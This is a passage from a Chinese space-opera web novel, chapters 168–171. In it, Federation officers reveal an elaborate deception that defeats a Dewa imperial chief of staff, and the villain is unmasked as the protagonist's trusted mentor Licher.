通讯官立刻去联络林瑜淞。 只是出乎他意料, 林瑜淞也没有响应通讯。 五次，一次都没有接通。 德瓦通讯官的冷汗唰地一下流了满脸。 覆面人却在听到他的报告以后冷笑了一声：“林瑜淞……他是什么东西，也敢对我耍脾气。” 7号星现在已经没有蓟梨草了，难道林瑜淞自己不知道这颗星球已经没有保命的财宝了吗？ 如果林瑜淞拎不清，他不介意给他一点教训。 “对准7号星政府中心，发射光子鱼雷。”覆面人的声音听起来冷硬又阴鸷，“他们的防护罩已经被我勒令取消了，我要市政中心夷、为、平、地！” 德瓦战术官立刻操作，覆面人的语调还未落下，连续五颗光子鱼雷已经纷纷飞向了7号星！ 而就在他们等着7号星中心陷入爆炸和火海之时，那五颗光子鱼雷却在进入7号星大气层之前就被挡住，随后从7号星之中也发射|出|了五颗地对空光子鱼雷炮，在大气层外拦截住了那些德瓦毁灭性武器，直接引爆在外太空！ 整个德瓦指挥星舰舰桥哨兵，悉数震惊！ 怎么回事？！ 7号星的防护罩不是已经被他们幕僚长勒令卸掉了吗？！ 而且从军事武器布防热力图上看，7号星的光子级武器都丝毫没有被使用的痕迹，这几发地对空光子鱼雷炮又是哪里来的？! 不对！ 这个热力图不对！ 哪怕是现在，刚刚那几下对轰震天动地，这个该死的热力图上还是什么都没显示！ ——这个图，被人做了手脚! 是从哪里侵入的？ 侵入了他们的战舰舰桥吗？! 覆面人显然也被这一幕惊骇住了，有些不敢相信自己的眼睛。 而接下来，让他不敢相信的事情又发生了。 在7号星的大气层外，一艘又一艘的联邦7号星军部的战舰接连出现，他认得，那是7号星的自卫军，不是联邦派来支援的！ 7号星的……自卫军？ 不可能！ 他指使林瑜淞在夺权以后的第一件事，就是接管了7号星自卫军的军权，而且自从段洄被联邦星际军部逮捕回首都星之后，整个7号星军部一盘散沙，自卫军也是一样。 谁能把他们重新组织起来和现任星长对着干？！ “幕僚长！” 德瓦通讯官瞪大了眼睛：“7号星自卫军指挥舰发来通讯！” 覆面人急急喘了几口气，快速回复镇定，缓缓坐在了舰长椅上，冷冷道：“接通。” 他倒要看看，是谁—— 通讯被接通，画面被放到了舰桥的主屏幕上。 随后，通讯画面接入，而端坐在自卫军指挥舰舰长席上的人，却大大出乎了覆面人的意料！ 覆面人那双深色的眼睛猛地瞪大：“你——” 瘦削憔悴的女人坐在其上，双手搭在舰长席的两边扶手，对他冷冷地莞尔一笑，头上的两只鹿角似乎长大了一些，在灯光下泛着莹润的光。 “你好，德瓦帝国幕僚长。” 覆面人死死地盯着她，缓缓道：“……居然是你，江悦。” “你竟然逃了出来，还集结了自卫军，我看林瑜淞也是个废物，连个下贱的艾尼默人都看不住！” 江悦却没有被他的话刺激到，那个在四个多月以前还略显稚嫩的小警员，此刻身上已经一丝曾经的痕迹都找不到了，甚至恍然间，覆面人有了一种和多年前闻铮交手的错觉。 她笑着反问：“你不好奇我怎么出现在这里的吗？” 覆面人微微挑眉。 他确实好奇。 那个深夜，察觉到有异的戴维尔和罗斯试图闯进市政大楼顶层，寡不敌众，被林瑜淞扔到中央拘留所了，还能有谁帮她？ 江悦转动了一下转椅，让摄像头的视线能看到她的身后。 就在舰长席后错身两个身位的地方，一个高挑修长的人类正站在那里，金丝眼镜片还反着光。 林、瑜、淞！ 覆面人在看见他那张脸的时候，一瞬间气血灌到了头顶，他明白了一切！ 一切！！！ 他们在骗自己，从始至终，都是一出自导自演的戏！ 覆面人咬住了口腔侧边的肉，直到渗血的铁锈味充斥了真个口腔，方才狠狠道：“……你一直在骗我！” 林瑜淞也看到了覆面人，他推了推鼻梁上的眼镜，语气微沉：“当然。” “我承认，作为一个政客和投机者，权力对我的诱惑太大了。” “但我首先是人类，是联邦的一员，我绝不可能背叛联邦，也绝不可能背叛闻哥！” “权力只有在联邦手里，我才想要。” “你们德瓦帝国治下的星球，黑暗、压抑、腐朽、溃烂。”林瑜淞的每一个字都说的很清楚，他那张一贯让人看不出表情的脸上也显露出冷冽的恨意，“我不要，我嫌脏。” “哈，哈哈哈哈哈哈哈哈！” 在短暂的沉默过后，覆面人竟然放声大笑了起来！ 只是笑声的余韵未歇，他却又转眼阴鸷嘲讽：“联邦，早晚会覆灭；人类，也终会灭亡，只有德瓦帝国，才是已知宇宙间永远强大的主宰。” “而你的闻哥，”他耷拉着眼皮冷漠地扫过坐着的江悦和站着的林瑜淞，显然很享受在这个时候给他们信奉信仰致命的一击，光是想想，就足以令他心潮澎湃，以至于说出这几个字的时候，那种快|感还留在他的唇齿之间，“我太了解他了，所以他赢不了我。” “悬空号已经被我歼灭，闻铮作为悬空号的舰长，当然也和他的星舰一起死了。” “毕竟，舰长应当与舰共存亡，不是吗？” 这些话说出来，覆面人原本设想看到的江悦和林瑜淞的惊慌和痛苦并没有出现，反之，这两个人只是交换了一个眼神，脸上却没有任何表情的波动。 这反而让覆面人心尖一跳。 什么意思？ 难道闻铮没死？ 不可能！ 闻铮不可能知道自己一直对他的行迹和坐标了如指掌的秘密，所以也不可能知道悬空号秘密前来的位置其实早已暴露，那一击正中目标，星舰的碎片碎裂后至今还漂浮在太空中，怎么可能还活着？！ 只是现在的局势没有时间留给他去过多思考，于是他便道：“林瑜淞，原本看在蓟梨草的份上，我还愿意给7号星留一条生路，现在既然你背叛了我，那就别怪我把7号星上的人都杀了，费点劲而已，蓟梨草的种子还是我的。” 只要这项融合技术还在自己手里，等把那36艘战舰叛变的事解决了，上面的蓟梨草还可以再培育。 “我知道你们会扫描相位穿梭过去的东西，所以蓟梨草肯定要给你，数量也不能少。” 江悦弯起了圆圆的眼睛，眼底却没有一分笑意：“所以我给你们了。” 她抬起了右手，在她右手指尖夹着的，是一棵通身淡绿色的小草，草头上有三瓣蓝的花瓣包围着白色的花蕊。 白色的，花蕊。 覆面人腾地一下站了起来！ 他要的是紫色花蕊的蓟梨草！！ 只有紫色蓟梨草才能达成基因退化的效果！！！ 江悦手腕一转，林瑜淞拉开了一块悬浮屏，悬浮屏上切分了几块不同的景象，每一处都是大火焚烧，黑烟四起。 “我确实为你搜罗到了7号星所有的紫色蓟梨草，”林瑜淞道，“但你一棵都别想拿到，也别想再打7号星的主意。” 所有紫色花蕊的蓟梨草，就此付之一炬！ 匹夫无罪，怀璧其罪。 单薄的星球承载不起这种窥伺和阴谋，那就只能置之死地，而后生！—— 作者有话说：耶耶！ 帅气的小兔和小林！ 闻哥提早布局的一手好棋！ 第169章 闻铮没死，他人呢？ 覆面人瞪着主屏幕上那几块熊熊燃烧的火焰, 目眦欲裂。 那些紫色花蕊的蓟梨草、他这么多年的筹谋、这么多年的忍气吞声和牺牲—— 付、之、一、炬！ 他一拳砸在了手边的舰长椅扶手上，那里立刻出现了一块凹痕，能把如此坚硬的材质靠肉体凡胎锤到这种地步, 想也知道他此刻心里有多恨！ 看到他如此失态, 江悦和林瑜淞对视一眼，两互相人扶持着走到现在, 终于能小小松一口气。 覆面人在面具背后那双深色的眼睛如今变得血红，看样子恨不得穿过屏幕把他们扒皮剥骨, 再一寸一寸地咀嚼成碎片吃进肚子里！ 只是还没等他再说什么，江悦倒是先出声道：“让你想不到的事还有很多, 晚点你再看看，到底谁才是被玩弄于股掌之间的那个人。” 说完, 她关掉了通讯。 这个艾尼默人历史上地位最高的指挥官、议员、星长, 凝视着眼前一望无际的太空, 和成千上万联邦与德瓦帝国的战舰, 深吸了一口气。 肩膀上蓦地传来一丝暖意。 “没事的, 我知道你能做到，闻哥也知道你能做到。” 林瑜淞搭上了她的肩膀, 给了她莫大的鼓励和支持：“这么长时间以来，你不睡觉不吃饭地拼命学习如何指挥星舰和战斗, 现在就是最终的时刻了。” 江悦反手握上他的手，急促地呼吸了两下，喃喃：“如果我做不到——” “那我们就殊死一搏。”林瑜淞对她笑笑，“蓟梨草已经被我们全部销毁了，最后一棵种子交到了戴维尔手里飞往联邦，7号星是你的母星，也是我生活了这么多年的母星, 我们现在没有任何后顾之忧，只要倾尽全力地保护它就好。” “但我知道你可以，闻哥把这个任务交给我，不是因为相信我，而是因为相信你。” 林瑜淞摸了摸她的头，就像当年她第一次踏进暗影组大门的时候一样，也像她在从段洄办公室失魂落魄地回到暗影组那晚一样。 那晚，林瑜淞回暗影组拿东西，看到了脸色煞白几乎要晕厥过去的江悦，得知第二天上午段洄就要召开发布会，第三次星际战争似乎近在咫尺，而她无法阻止，甚至被迫成为了推动战争的一把刀。 江悦第一次怀疑自己，怀疑为什么闻铮要让她来当暗影组的代理指挥官，也许她确实有几分能力，但她这么年轻、这么青涩、这么鲁莽——最后不也是这个结果吗？！ 林瑜淞看着她暗淡下去的鹿角，泛红的眼眶和一滴滴掉下来的眼泪，叹了口气：“因为他本意也不是让你当暗影组的代理指挥官。” 江悦懵了，愕然地抬头看他。 林瑜淞把自己和覆面人的通讯页面伸到江悦眼皮子下面：“他需要有人在这里守护着这颗星球，这个人是我，也是你。” 从那晚开始，他们就共同演了下去。 那些争权夺利、傀儡囚禁、背叛愤怒……都是假的。 他们在万里高空走钢索，一步走错就是粉身碎骨，不只是他们自己，还有整个7号星、艾尼默种族和人类的未来，而能依靠的只有彼此。 以防消息泄露，他们谁都不能说，就连戴维尔都不能，所以戴维尔才会恳请罗斯警长帮他一起闯进市政大楼。 那通视频也是真的，视频发送后的五分钟，戴维尔和罗斯警长闯进了星长办公室，看到在防护力场之中被关押的江悦，他上一秒还在因为林瑜淞的背叛而怒火攻心，脏话都在嘴边了，下一秒就看见林瑜淞递给江悦一杯咖啡，劝她睡一会儿再学。 戴维尔：“……” 等等。 戴维尔听到解释以后，显然是头晕眼花：“所以这一切都是闻哥的安排吗？” “大方向是，具体走向可能……有了点偏差。”林瑜淞摸了摸鼻尖，“被德瓦哨兵包围以后，这里的通讯大部分都被屏蔽切断了，我很久都联系不上闻哥，只能走一步看一步了。” “但你既然知道了，那就别白来。”江悦把头从星舰资料里抬起来，显然自学的压力太大，她看上去憔悴得吓人，这倒是很符合一个被监禁许久的星长形象，“交给你一个任务。” 林瑜淞把戴维尔以武装闯入市政厅等罪名流放到了8号星，在那里，他怀揣着整个宇宙间最后一枚紫色蓟梨草的种子，如果联邦胜利，他带着这枚种子回去，物种不会灭绝。如果联邦失败…… 他就毁了这种野草，最后的种子。 江悦又转向了罗斯警长，笑得有些狡黠：“还有罗斯警长，您既然来了，那就——” 罗斯警长类人的那半边侧脸转向了她，有些疑惑。 江悦道：“现在德瓦哨兵接管了7号星的军事武器布防热力图，我们根本不可能在这种情况下集结军队，除非能黑进7号星的军事系统中更改热力图。” 而德瓦哨兵接管了7号星的政权以后，就通过源代码的更改让7号星所有仿生人都服从了他们的命令，而罗斯警长作为一个“不成功”的半试验品，竟然成为了唯一一个能反向渗透人工智能网络又保有自我意识的仿生人！ 而罗斯警长甚至在更改热力图的时候，还把德瓦哨兵对7号星的信号屏蔽网悄悄撕开了一个小口，让市政中心的顶楼能对外通信。 面对目瞪口呆的林瑜淞和江悦，罗斯警长一板一眼地说：“不用谢，顺手的事。” 也因此，林瑜淞才能将从覆面人这里得来的情报和命令实时传输出去，才有了闻铮这一番运筹帷幄。 事到如今，林瑜淞忽地笑了一下，只是那个笑容里有几分苦涩和叹息。 最后还是到了这一步，闻哥…… 覆面人不蠢，7号星的意外、林瑜淞的双面间谍、36艘德瓦战舰的叛变……他肯定猜到了。 …… 覆面人的右拳在汩汩流血，血液渗出了手套，一滴一滴落在舰长上。 整个舰桥鸦雀无声，只能听到他局促的呼吸声。 半晌，他阴恻恻道：“……闻铮没死。” 何止没死，这一切竟然都在闻铮的掌握之中，他、他到底是什么时候知道的？！又是什么时候开始布局的？！ 自己的一切筹谋，从什么时候开始，都在闻铮的预料之内了？ 这时，德瓦舰桥的通讯台又响了，通讯官战战兢兢地小声说：“报告幕僚长大人……那36艘战舰的领头战舰发来通讯请求。” 覆面人眼睛微眯：“接通。” 难道是有德瓦哨兵找到时机来求助吗？这样也许还有其他的办法…… 他的大脑还在飞快地思考，而在看到视频通讯的下一刻，一切的想法都落空。 一个人类，正站在德瓦战舰的舰桥上，冷冷地看着他，他的身边是其他人类，以及穿着联邦军服的其他联邦种族，而德瓦哨兵，都横七竖八地躺在地上。 显然，他们已经夺船成功了。 覆面人心沉了下去，他扫了一眼，发现为首的人类戴着联邦第三军团的军徽，其他人也是，还有不少人带着洛河星系护卫军的军徽。 “联邦星际军部第三军团，悬空号首席通讯官楼怀哲少校，特此通知德瓦哨兵，36艘德瓦战舰已被第三军团和洛河星系护卫军接管。” 楼怀哲身形挺拔，眉目深邃，看向德瓦哨兵的眼神冷硬似刀：“如果你们不投降，我们将进行武力攻击，后果自行承担。” 悬空号，首席通讯官。 不只是覆面人，就连舰桥上的德瓦通讯官都恍然大悟！ 怪不得！！ 楼怀哲，这个名字他听过！ 这个名字在德瓦帝国重点关注的名单之上，联邦最有潜力的天才通讯官，在悬空号上一举成名。在闻铮离开了悬空号以后，他拒绝了升迁回总部的提拔，仍然留在悬空号上做他的少校。 如果是这样的通讯官，就能解释为什么刚刚他们都没有发现异常——也许从最开始，在蓟梨草被相位穿梭过去的时候，这些跟着蓟梨草一起穿梭过去的联邦军官，就已经在尝试夺舰了。 所以在那个时候，通讯花了好久才接通，对方还说因为信号问题不能视讯，原来那个时候，就已经是联邦的人在和他们对话了！ 而之后…… 覆面人当然也想通了，他气得冷笑了一声：“原来如此，是江悦和林瑜淞借由相位穿梭蓟梨草的契机，把你们穿梭到这些战舰上的吧？” 楼怀哲微微一笑。 “那我猜，你们根本也没有飞回实验基地，船上也没有基因退化物质。”覆面人眼神冷厉，“否则，实验基地会告诉我的。” 没错。 楼怀哲篡改了通讯频道，修改了定位系统，让覆面人所在的主指挥战舰看到这36艘战舰按照命令飞往了实验基地又飞了回来，没有任何异样。 实际上，他们只是开着这些星舰去附近的星系兜了一圈。 “我很好奇，你们是怎么夺舰的。”覆面人的嘴角抽动了一下，“德瓦战舰的底层系统你们不可能破解，并且你们也没有军官代码！” “那还要多谢你们的大元帅阁下。”楼怀哲的语气淡淡的，里面的嘲讽意味却很浓，“智能融合体可是太清楚你们德瓦战舰的底层系统以及破解方法了。” 戈维在这36艘德瓦战舰的系统之中游走，如果不是算力强大，早就累趴下了。 “至于军官代码……”他的嘲讽之意愈浓，“别给自己的种族贴金了，你真以为你们德瓦哨兵的骨头有多硬吗？” 那个棕色波浪长发的漂亮女科学官，下手是真狠呐，楼怀哲光是看着都打颤。 覆面人低着头，笑声从他的唇边逸出，越来越大，越来越大，又在某一个时刻，戛然而止。 “你们这些人，想不出这种计谋和战略。” “——闻铮没死，他人呢？”—— 作者有话说：戈维：破完你的破你的，破完你的破你的……这些情况还是在我的掌握之中…… 第170章 阿维尔·斯坦柯夫 楼怀哲眼底嘲讽之色分外刺眼：“就凭你, 还想杀了闻上将，做梦！” 覆面人张了张嘴，话还没出口, 他的德瓦战术官腾地一下站了起来, 右手颤颤巍巍地指向了主屏幕，那里是整个洛河星系战场的全景图。 覆面人见他如此失态, 心里一沉，猛地转头看去！ 在德瓦军队的东侧, 一艘令人震撼的巨型战舰缓缓从深空中现身，舰身上的联邦标志清晰可见, 在漆黑一片的宇宙中闪烁着莹润的、耀眼的、无可比拟的光。 ——悬空号。 悬、空、号！ 早就应当被他们六十发光子鱼雷轰成碎屑的悬空号，现在却赫然、全须全尾地出现在了所有人面前！ 它是那么壮阔与美丽, 哪怕是德瓦哨兵, 也要在心里感叹这艘联邦最高科技和最强战力的战舰是如何的鬼斧神工, 夺人心魄。 只是舰桥上的这些德瓦军官们, 或多或少都是在上一次星级战争中和悬空号交过手的, 他们看到刻在星舰外身上那个名字的一瞬间，就想到了曾经被打败了无数次的惨淡回忆, 每个人黝黑的脸上都开始发青。 比起他们，覆面人在面具背后的脸色更加难看。 又一次—— 又一次！！！ 他们又输给了闻铮, 他又一次输给了闻铮！ 筹谋了这么多年，竟然还是这样的结果。 他恨到难以自控，右手心被自己抓得鲜血淋漓。 德瓦军队固然兵力更多，但那是比起洛河星系护卫军来说！ 现在联邦第三军团的大部队已经抵达，以悬空号为首拦在了他们东侧；7号星自卫军瞒天过海，江悦和林瑜淞领着他们守在西侧；北侧是原本的洛河星系护卫军，南侧还有那36艘被夺走指挥权的德瓦战舰！ 原来他一直以为的稳操胜券, 都不过是闻铮的一盘棋。 而他就像是那个虚张声势的国王，看似在棋盘上睥睨操控全场，实则在不知不觉中，却早已被暗中围猎。 闻铮啊闻铮…… 当时真应该直接杀了只有十几岁的你。 德瓦通讯官咽了咽唾沫，声音嘶哑颤抖：“幕、幕僚长大人，联邦第三军团发来通讯请求……” 覆面人将神思从回忆中抽离出来，冷冷问：“谁？” 德瓦通讯官：“……悬、悬空号。” “……” 舰桥中一片死寂。 覆面人沉吟片刻，转过身一步、两步、三步地走上舰长席，把胸前德瓦帝国的军徽摆正擦亮，正襟危坐，这才出声道：“……接通。” 德瓦通讯官颤抖地按下按钮，下一刻，舰桥主屏幕上出现了联邦第三军团之刃那张瘦削又冷厉的脸。 覆面人缓缓道：“闻上将。” 闻铮也坐在悬空号的舰长席上，脊背挺直，目光冷然。 他遥遥地看着身着红色军服的覆面人，半晌才道：“阿维尔·斯坦科夫，德瓦帝国幕僚长，也是德瓦帝国最受德瓦皇帝信任的人。” “或者，我是不是也应该叫你的另一个名字。” 闻铮微阖双眼，再睁开时，那双漆黑如墨的眼底飞快地闪过一丝彻骨的痛。 “……利切尔。” …… 沉闷的低笑声从覆面人的胸腔之中发出来，从低不可闻到响彻整个舰桥。 “哈哈哈……哈哈哈哈哈！” 他伸手把那张覆面面具从脸上拿了下来，在漆黑的面具背后是一张苍白的脸，和整个德瓦舰桥上的所有德瓦哨兵都截然不同。 那是一张属于人类的脸，也是一张闻铮看了二十多年的脸。 闻铮透过屏幕遥遥地注视着他，右手的食指指甲深深嵌进了大拇指的肉里，鲜血一滴一滴地落在扶手上。 “没想到你居然发现了，”利切尔语气轻快，“也好，如果你直到死都不知道这个秘密，我心里也觉得少了些什么。” 闻铮看着那张略显老态的脸，他从小的时候，忘了是三岁还是六岁，就看着这张脸长大。 他握过他的手，骑过他的脖颈，尝过他做过的难吃的饭菜，在曾经闻家那个很大的花园里，利切尔是他们的邻居，在一切的一切之前，他们一起在那个花园里聚餐过无数次。 利切尔带着他，和他那只后来走丢了的大狗，在花园里玩的很开心。 那是在最早之前，在一切崩塌之前。 沈亦映和闻衡之牺牲之后，他在这个世界上唯一称得上是亲人的人，只剩下从小看着他长大的利切尔叔叔。 “我以为你死了。” 闻铮轻声道：“我是那么的……” 他把后面的话咽了下去。 那些流的泪，伤的心，深夜里辗转反侧的痛苦，是为了利切尔，而一丝一毫都不能在这个时候让阿维尔·斯坦柯夫、让德瓦帝国的幕僚长知道。 “我那么信任你，”到最后，闻铮只能看着他，一字一句地从唇齿间挤出来，“……二十多年来，我那么地信任你。” 在沈亦映和闻衡之去世以后，闻铮的满腔恨意无处宣泄，而利切尔在那个时候一天之内给他打了六十多个通讯，告诉他不要冲动，只要他在，闻铮就还有家。 从那时起、不、从更早起，原来都是假的。 在他知道了全部的真相之后，那些记忆、那些扶持、那些种种的一切，让闻铮在那个瞬间心头刺痛，痛到他明知道不能在这里失态，却还忍不住在眨眼间落下一滴泪来。 “我不该留你的，”利切尔盯着他，缓缓道，“我承认在十六年前，我心软了一瞬间，却没想到为帝国酿成了心腹大患。” 闻铮却静静道：“我宁可你是真的死了。” 利切尔无意识地眨了眨眼，有什么从他的眼角划过了脸侧，他选择不去细究那是什么。 “但我很好奇，你到底是怎么知道的，又是什么时候知道的。”他面无表情，声音却越发嘶哑。 “但丁、欧睿和戈维的案子让我注意到了其中有个覆面人的身影，只是线索太少，我查不到是谁，但我知道这个人一定身份特殊，能解封欧睿的档案，还能有手段对戈维动手，甚至有可能是警部或军部系统中的人。” 闻铮敛去那一瞬间的失态，淡淡道：“我知道这个人因为但丁和蓟梨草盯上了暗影组，但只要我在7号星一天，他就不敢有明显的动作，而一旦我离开，他一定会想办法渗透进暗影组。” “所以你故意把暗影组代理指挥官的位置留给了那个艾尼默人，林瑜淞的背叛就变得合情合理，让我可以趁虚而入。”利切尔摇摇头，“原来你从那个时候就怀疑我了。” “……直到昨天，我都没有怀疑你。”闻铮垂眼，“直到瑜淞终于能联系上我，告诉了我他对你身份的猜测，我才不得不把一切都串了起来。” 一模一样的话，林瑜淞三年前从利切尔嘴里听到过，三年后又从覆面人嘴里听到了，怎么能不让他警觉？只是他也不敢贸然下定结论，又观察了好一段时间，这才下定决心告诉了闻铮。 对闻铮而言，这无异于晴天霹雳！ 他第一次出于私人感情而立刻出言反驳，林瑜淞却没有争辩，只是请他再想想。 挂了通讯以后，闻铮想了很久。 为什么但丁在被抓以后能知道审讯室桌子的蹊跷，从而成功自杀保守秘密； 为什么那么巧，他刚刚兴起一个要追查蓟梨草的念头，就莫名其妙有了一艘追击舰和一个自由度极高的团队； 为什么破晓号上的空间迁跃会被安装了极度危险的熔断装置； 为什么覆面人那么笃定闻铮回不来； 为什么戈维在联邦中央拘留所里还能出事； 为什么…… 而当覆面人正是利切尔这个副局长的时候，一切都解释通了。 他有权限，也有权力，更有闻铮对他的信任，什么做不了呢？ “啧，原来是靠林瑜淞的猜测。”利切尔摇摇头，“还以为是我哪里出了明显的错漏。” 闻铮抬眼，眼神森冷地睨向了他：“你不想知道，为什么你明明击中了坐标，悬空号却毫发无伤吗？” 利切尔挑起了眉。 闻铮抬起双手，他的手掌间撑开了一个悬浮屏，悬浮屏上是一个三维立体的……挂坠。 他凝视着那个三维图，放大了挂坠，在挂坠的顶部打开以后，里面是上一任破晓号的舰桥军官小人，还能看到穿着舰长服的沈亦映和大副闻衡之。 闻铮的手指有些眷恋地拂过那两个小人，随后双指捏合，在三维图中赫然出现了一个极微小的芯片。 在林瑜淞和他通讯过后，闻铮梳理清了整个逻辑链，但还是有些不敢相信，所以他去找了黎晓。 新任轮机长看着自己舰长失魂落魄的表情和通红的眼底，一句话也不敢问，只拿着那个挂坠就开始各种检查，最后在闻衡之小人的身体里，发现了一枚及其微小精密的定位芯片。 闻铮看着那枚夹在机甲镊子上的定位芯片，久久沉默。 利切尔送了他两样东西。 一个是重组后的破晓号，结果空间迁跃动力舱被做了足以致死的手脚，如果不是程迹，他和队伍里的大家早就死在和魁斗星盗钢铁之心的对战之中了。 而另一个用作纪念的破晓号模型挂坠，利切尔知道外冷内热的闻铮一定会随身携带，尤其里面还有他父母的小人，更是绝对不会离身，所以放心地在里面埋了定位芯片。 ……事已至此，就算闻铮再怎么不愿相信，似乎也无法再替那个记忆中的身影辩解什么了—— 作者有话说：谜底揭开！ 不知道大家有没有猜到捏，其实前面有蛮多暗示啦（顶锅盖 心疼闻哥[可怜][可怜]《 》 170-180 第171章 秘密代码 而这个装着定位器的挂坠, 到底会被用在什么地方？ 闻铮很清楚，如果易地而处，手握这个定位器是自己, 他会用在哪里。 所以他在和洛河星系护卫军统领克莱尔·尼克上校确认他留有隐形舰后, 就进行了一场偷梁换柱。 原本一艘巨型隐形舰上的联邦军官全部撤离，只有一枚破晓号的挂坠被挂在了舰长席的椅背上, 而整个舰桥空无一人。 在六十发德瓦哨兵的光子鱼雷前仆后继地砸向了那艘巨型隐形舰后，闻铮站在悬空号的主屏幕前, 通过透明玻璃，看到深空之中, 那一艘火光四起被轰成碎屑的战舰。 就差一点，那个粉身碎骨的就是悬空号, 和毅然决然追随他多年的舰员们。 而这一切, 竟然都是来自于他如此深信的人。 在心底抱有的最后那丝幻想, 也随着隐形舰一同灰飞烟灭了。 凯利斯坐在首席战术官的位置上, 一个不经意地抬眼, 从主屏幕玻璃上看到了闻铮的倒影，他发誓他看到了闻铮划过侧脸的眼泪, 只是他那时有些疑惑，这滴泪到底是从何而来。 而如今, 他坐在同样的位置上，看到了阿维尔·斯坦柯夫的脸，在震惊之余，他才明白了过来！ 如此彻骨的背叛…… 怪不得…… 只是他万万没想到，这竟然只是冰山一角！ 因为闻铮缓缓从舰长席上站了起来，一字一顿地问：“破晓号被你重组后在空间迁跃动力舱做了手脚，除此之外, 你有没有动别的地方？” 阿维尔·斯坦柯夫眯了眯眼：“你什么意思？” 闻铮右手死死攥住了扶手，鲜血一滴一滴把扶手前端染成了红色。 “我母亲，联邦‘破晓号’第三任舰长、暗影组第五任指挥官沈亦映；我父亲，联邦‘破晓号’大副，暗影组第六任副指挥官闻衡之，连同破晓号上12名军官——”闻铮的眼底仍有着微红，尤含着几分湿漉的泪意，眼神却冷硬似刀般冷厉，“——究竟是死于谁手？” 沉默。 半晌，阿维尔·斯坦柯夫眼底闪过一丝复杂，方才缓缓道：“你是怎么发现的？” 他确实篡改了沈亦映留下的最后影像，为了将闻铮的恨意和火力转移到奥克斯·奴瓦辛格身上，以便于自己继续可以低调潜伏隐藏身份。 那个视频修改的天衣无缝，若非抱着怀疑刻意去查，根本不会发现篡改痕迹，闻铮又是怎么产生的疑心？！ 这就是亲口承认了。 闻铮一时之间一个字都说不出来，只能缓缓闭上了眼睛，如鸦羽般漆黑的眼睫颤抖得让人心惊。 …… 十个小时之前，在悬空号和隐形舰对换以后，注视着散布太空的碎片，闻铮眼角的泪刚刚落下，楼怀哲却轻声道：“舰长，您有一个通讯请求。” 闻铮缓缓把那滴泪眨掉，不让任何人看到他的失态，依然镇定自若，声音却比他平时还要沙哑：“是谁？” 楼怀哲却难得的有点拿不准：“呃……我不确定。” 闻铮朝他望去，却看见自己的天才通讯官面露难色：“没有身份署名，虽然是联邦代码，但这个代码我从来没有见过。” 闻铮一怔，心里有个角落却倏地狂跳起来！ 秘密代码…… 难道…… 他喉头滚动，轻声说：“把这个通讯接到我的舱室，一分钟后我会在那里上线。” 楼怀哲颔首领命。 这是他在悬空号执行的最后一个命令，在把通讯转过去以后，他环视了一圈舰桥军官们，几乎所有人都沉默地看着他，眼底微红。 凯利斯从位置上站起来，走到他身边拍了拍他的肩膀：“怀哲，”他顿了一下，方才继续说，“活着回来。” 不可能让洛河星系护卫军自己去执行这种夺舰的高危险任务，闻铮同样派出了悬空号的战术部门成员以及其他有登舰战斗能力的军官。 凯利斯作为悬空号的首席战术官和大副，悬空号是他的第一任务，所以他不能离开。而在这个任务中，还涉及到侵入和篡改德瓦通讯系统的部分，所以有着高战力的天才通讯官就成了最好的人选。 戈维的声音在头顶响起：“所有参与夺舰计划的军官，请于三分钟内到相位穿梭室集合，向各自的长官报道。” 楼怀哲对他一笑，年轻的Alpha脸上没有对危险系数极高的单程任务的担忧，只有意气风发和对联邦、对信仰的坚定。 凯利斯目送他转身走出舰桥，一颗心都提到了嗓子眼。 …… 舰长舱室内 闻铮站在房间正中间，深深吸了一口气，缓缓道：“接通通讯。” 下一秒，通讯接通，全系投影在他面前形成。 当闻铮看到那双湛蓝色眼睛的一瞬间，方才在舰桥上、在所有人面前死撑的表情立刻崩塌，眼泪宛如掉了线的珍珠，一颗一颗从漆黑双眼中掉出来。 他一句话都没说，也没有发出任何泣音，却足以让裴简珩心碎。 裴简珩伸出手，想为他的Omega擦去眼泪，却只能眼睁睁看着自己的手穿过了闻铮的脸，连一丝触碰都不可得。 他只是全系投影，虽然他们看上去近在咫尺，但分隔却何止几千光年。 以至于就连一滴眼泪都触碰不到，更遑论把他抱在怀里，熔掉他的所有痛苦、悲恸、失望和绝望。 闻铮无声地掉了一分钟的泪，只有在这里，只有在裴简珩面前，他才能卸掉肩上背着的那些担子、责任和使命，他只是闻铮，只是一个被信任了几十年的亲人背叛的普通人。 一分钟后，他轻轻擦掉了颊边的泪痕，声音平稳，只是裴简珩能听出他声线里隐藏的波动：“覆面人是德瓦帝国幕僚长，阿维尔·斯坦柯夫，也是利切尔。” 就这短短的一句话，裴简珩在惊愕之余，立刻明白了闻铮为什么会这么痛苦！ 他根本难以想象此刻的闻铮，到底心里是如何的崩溃！ 他下意识地走近闻铮，但哪怕他叠到了闻铮身上，他们依然无法触碰到彼此，也无法给到彼此任何抚慰。 裴简珩很聪明，在知道了覆面人的身份以后，电光火石之间，他已经想通了一切，包括破晓号空间迁跃失灵的种种——利切尔是真的要闻铮……死。 同样的，他心头千回百转，一时之间也不确定原本要和闻铮同步的信息还要不要说，他有些担心闻铮受不住。 闻铮却没再说什么，只是微微仰脸看着他，伸手想去摸他的脸，但他只能虚虚地描绘着他的轮廓，轻声道：“你那边怎么样？” 他似乎想到了什么，皱了皱眉：“不对，悬空号的行迹是机密，通讯不能被其他联邦星舰接通以免泄露，你怎么拿到悬空号的通讯线路的？” 裴简珩摇摇头，低声说：“我需要问您要程迹来帮忙潜入德瓦母星，原本父亲要代为传达，但我实在是……” 太想你了，也太担心了。 所以就任性了这么一次，艾德莱斯也就给了他十分钟的时间，在凌风号和悬空号距离最接近的时候，开了一个绝密线路。 时间有限，裴简珩只得咽下了万千思绪，言简意赅：“……我拿到了Annihilation，活捉了奥克斯·奴瓦辛格。” “你——什么？！”闻铮瞪大了眼睛，奥克斯·奴瓦辛格的名字让他呼吸都急促起来。 那是杀了他父母的仇人—— 裴简珩犹豫了一瞬间，还是决定把真相告知闻铮，他太了解闻铮了，他知道比起能否接受，闻铮更要的是一个真相。 “闻哥，我不觉得十六年前在洛河星系围困7号星、击杀暗影组和破晓号的人，是奥克斯·奴瓦辛格。” 奥克斯·奴瓦辛格在那个瞬间的反应不似作伪，裴简珩心存疑虑，在1215沉淀的德瓦情报库中查找了三个小时，终于发现，在十六年前那个破晓号被击毁的时间节点，上一任1215的暗探正在传回从德瓦母星搜集到的奥克斯·奴瓦辛格的影像资料，那个时候德瓦帝国陷入政变，他作为德瓦帝国武装力量的一把手，正留在德瓦母星镇压叛乱。 这位德瓦帝国的大元帅没有说谎，他确实不在洛河星系，杀了沈亦映、闻衡之和12名暗影组军官的人，不是他。 闻铮的表情一瞬间凝固。 